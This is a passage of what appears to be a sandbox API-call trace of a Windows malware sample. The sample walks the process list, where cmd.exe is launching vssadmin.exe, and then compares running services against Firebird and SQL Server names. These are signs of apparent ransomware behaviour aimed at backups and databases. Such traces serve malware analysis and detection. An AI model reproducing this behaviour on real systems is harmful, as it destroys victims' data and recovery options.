pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.817] lstrlenW (lpString="dwm.exe") returned 7 [0042.817] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.817] lstrlenW (lpString="explorer.exe") returned 12 [0042.817] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.818] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.818] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.818] lstrlenW (lpString="taskhost.exe") returned 12 [0042.818] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.818] lstrlenW (lpString="svchost.exe") returned 11 [0042.818] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0042.818] lstrlenW (lpString="taskeng.exe") returned 11 [0042.818] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.819] lstrlenW (lpString="taskhost.exe") returned 12 [0042.819] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0042.819] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0042.819] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0042.819] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0042.819] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0042.820] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0042.820] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0042.820] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0042.820] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0042.820] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0042.820] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0042.820] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0042.820] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0042.821] lstrlenW (lpString="toyota.exe") returned 10 [0042.821] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0042.821] lstrlenW (lpString="radiation.exe") returned 13 [0042.821] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0042.821] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0042.821] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0042.822] lstrlenW (lpString="ur illustration.exe") returned 19 [0042.822] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0042.822] lstrlenW (lpString="facing.exe") returned 10 [0042.822] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0042.822] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0042.822] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0042.822] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0042.822] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0042.823] lstrlenW (lpString="headline.exe") returned 12 [0042.823] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0042.823] lstrlenW (lpString="army_unsigned.exe") returned 17 [0042.823] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0042.823] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0042.823] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0042.824] lstrlenW (lpString="distribution-gif.exe") returned 20 [0042.824] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0042.824] lstrlenW (lpString="tribunal.exe") returned 12 [0042.824] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0042.824] lstrlenW (lpString="aafeof.exe") returned 10 [0042.824] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0042.824] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0042.824] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0042.825] lstrlenW (lpString="encryption.exe") returned 14 [0042.825] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.825] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.825] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0042.825] lstrlenW (lpString="dllhost.exe") returned 11 [0042.825] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0042.825] lstrlenW (lpString="dllhost.exe") returned 11 [0042.826] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0042.826] lstrlenW (lpString="1с_.exe") returned 7 [0042.826] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.826] lstrlenW (lpString="cmd.exe") returned 7 [0042.826] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.826] lstrlenW (lpString="conhost.exe") returned 11 [0042.826] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0042.827] lstrlenW (lpString="vssadmin.exe") returned 12 [0042.827] Process32NextW (in: hSnapshot=0x1b4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0042.827] CloseHandle (hObject=0x1b4) returned 1 [0042.827] Sleep (dwMilliseconds=0x1f4) [0043.796] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fb50 [0043.796] EnumServicesStatusExW (in: hSCManager=0x58fb50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0043.796] GetLastError () returned 0xea [0043.797] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x607b80 [0043.797] EnumServicesStatusExW (in: hSCManager=0x58fb50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x607b80, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x607b80, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0043.798] CloseServiceHandle (hSCObject=0x58fb50) returned 1 [0043.798] lstrlenW (lpString="Appinfo") returned 7 [0043.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0043.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0043.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0043.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0043.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0043.798] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0043.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0043.798] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0043.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0043.798] lstrlenW (lpString="AudioSrv") returned 8 [0043.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0043.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0043.798] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0043.799] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0043.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0043.799] lstrlenW (lpString="BFE") returned 3 [0043.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0043.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0043.799] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0043.799] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0043.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0043.799] lstrlenW (lpString="CryptSvc") returned 8 [0043.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0043.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0043.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0043.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0043.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0043.799] lstrlenW (lpString="CscService") returned 10 [0043.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0043.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0043.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0043.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0043.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0043.799] lstrlenW (lpString="DcomLaunch") returned 10 [0043.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0043.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0043.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0043.799] lstrlenW (lpString="Dhcp") returned 4 [0043.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0043.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0043.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0043.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0043.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0043.800] lstrlenW (lpString="Dnscache") returned 8 [0043.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0043.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0043.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0043.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0043.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0043.800] lstrlenW (lpString="DPS") returned 3 [0043.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0043.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0043.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0043.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0043.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0043.800] lstrlenW (lpString="eventlog") returned 8 [0043.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0043.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0043.800] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0043.800] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0043.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0043.800] lstrlenW (lpString="EventSystem") returned 11 [0043.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0043.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0043.800] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0043.800] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0043.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0043.800] lstrlenW (lpString="gpsvc") returned 5 [0043.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0043.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0043.801] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0043.801] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0043.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0043.801] lstrlenW (lpString="iphlpsvc") returned 8 [0043.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.801] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0043.801] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0043.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0043.801] lstrlenW (lpString="LanmanServer") returned 12 [0043.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0043.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0043.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0043.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0043.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0043.801] lstrlenW (lpString="LanmanWorkstation") returned 17 [0043.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0043.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0043.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0043.801] lstrlenW (lpString="lmhosts") returned 7 [0043.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0043.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0043.801] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0043.801] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0043.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0043.802] lstrlenW (lpString="MMCSS") returned 5 [0043.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0043.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0043.802] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0043.802] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0043.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0043.802] lstrlenW (lpString="MpsSvc") returned 6 [0043.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0043.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0043.802] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0043.802] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0043.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0043.802] lstrlenW (lpString="Netman") returned 6 [0043.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0043.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0043.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0043.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0043.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0043.802] lstrlenW (lpString="netprofm") returned 8 [0043.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0043.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0043.802] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0043.802] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0043.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0043.802] lstrlenW (lpString="NlaSvc") returned 6 [0043.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0043.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0043.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0043.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0043.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0043.803] lstrlenW (lpString="nsi") returned 3 [0043.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0043.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0043.803] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0043.803] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0043.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0043.803] lstrlenW (lpString="PcaSvc") returned 6 [0043.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0043.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0043.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0043.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0043.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0043.803] lstrlenW (lpString="PlugPlay") returned 8 [0043.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0043.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0043.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0043.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0043.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0043.803] lstrlenW (lpString="Power") returned 5 [0043.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0043.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0043.803] 